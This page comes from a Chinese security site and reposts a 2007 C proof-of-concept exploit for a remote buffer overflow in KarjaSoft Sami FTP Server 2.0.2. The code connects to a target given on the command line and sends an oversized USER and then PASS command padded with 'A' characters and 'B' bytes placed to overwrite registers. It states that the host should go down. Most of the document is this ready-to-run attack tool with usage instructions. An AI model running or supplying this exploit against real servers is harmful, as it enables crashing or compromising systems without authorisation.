首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sami FTP Server 2.0.2 (USER/PASS) Remote Buffer Overflow PoC
来源:Marsupilamipowa@hotmail.fr 作者:Marsu 发布时间:2007-01-15  

/************************************************************************
*KarjaSoft Sami FTP Server 2.0.2 USER/PASS buffer overflow *
* *
*Sending a long USER / PASS request to server triggers the vulnerability*
*EAX and EDX are owned leading to code execution *
*This is only a POC *
*Thanks to rewterz and Muhammad Ahmed Siddiqui for discovery *
* *
*Usage: sami.exe ip port *
* *
*Coded by Marsu <Marsupilamipowa@hotmail.fr> *
************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
struct hostent *he;
struct sockaddr_in sock_addr;
WSADATA wsa;
int ftpsock;
char recvbuff[1024];
char evilbuff[1024];
int buflen=600;// 650 will kill the app. 600 just call the debugger

if (argc!=3)
{
printf("[+] Usage: %s <ip> <port>\n",argv[0]);
return 1;
}
WSACleanup();
WSAStartup(MAKEWORD(2,0),&wsa);

printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
if ((he=gethostbyname(argv[1])) == NULL) {
printf("Failed\n[-] Could not init gethostbyname\n");
return 1;
}
if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("Failed\n[-] Socket error\n");
return 1;
}

sock_addr.sin_family = PF_INET;
sock_addr.sin_port = htons(atoi(argv[2]));
sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(sock_addr.sin_zero), '\0', 8);
if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);

printf("[+] Building payload ... ");
memset(evilbuff,'A',buflen);
memset(evilbuff+585,'B',4); //eax and edx will be 42424262
memcpy(evilbuff,"USER ",5);
memcpy(evilbuff+buflen,"\r\n\0",3);
printf("OK\n[+] Sending USER ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);

memcpy(evilbuff,"PASS ",5);
printf("[+] Sending PASS ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
recv(ftpsock, recvbuff, 1024, 0);

printf("[+] Host should be down\n");
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WFTPD Pro Server <= 3.25 SI
·BolinTech DreamFTP (USER) Remo
·JV2 Folder Gallery 3.0 (downlo
·VLC Media Player 0.8.6a Unspec
·ThWboard <= 3.0b2.84-php5 S
·Mac OS X 10.4.8 AppleTalk ATPs
·FdWeB Espace Membre <= 2.01
·Kaspersky Antivirus 6.0 Local
·DigiAffiliate <= 1.4 (visu_
·TFTPDWIN 0.4.2 Remote Buffer O
·MS Windows Explorer (WMF) Unsp
·KGB <= 1.9 (sesskglogadmin.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved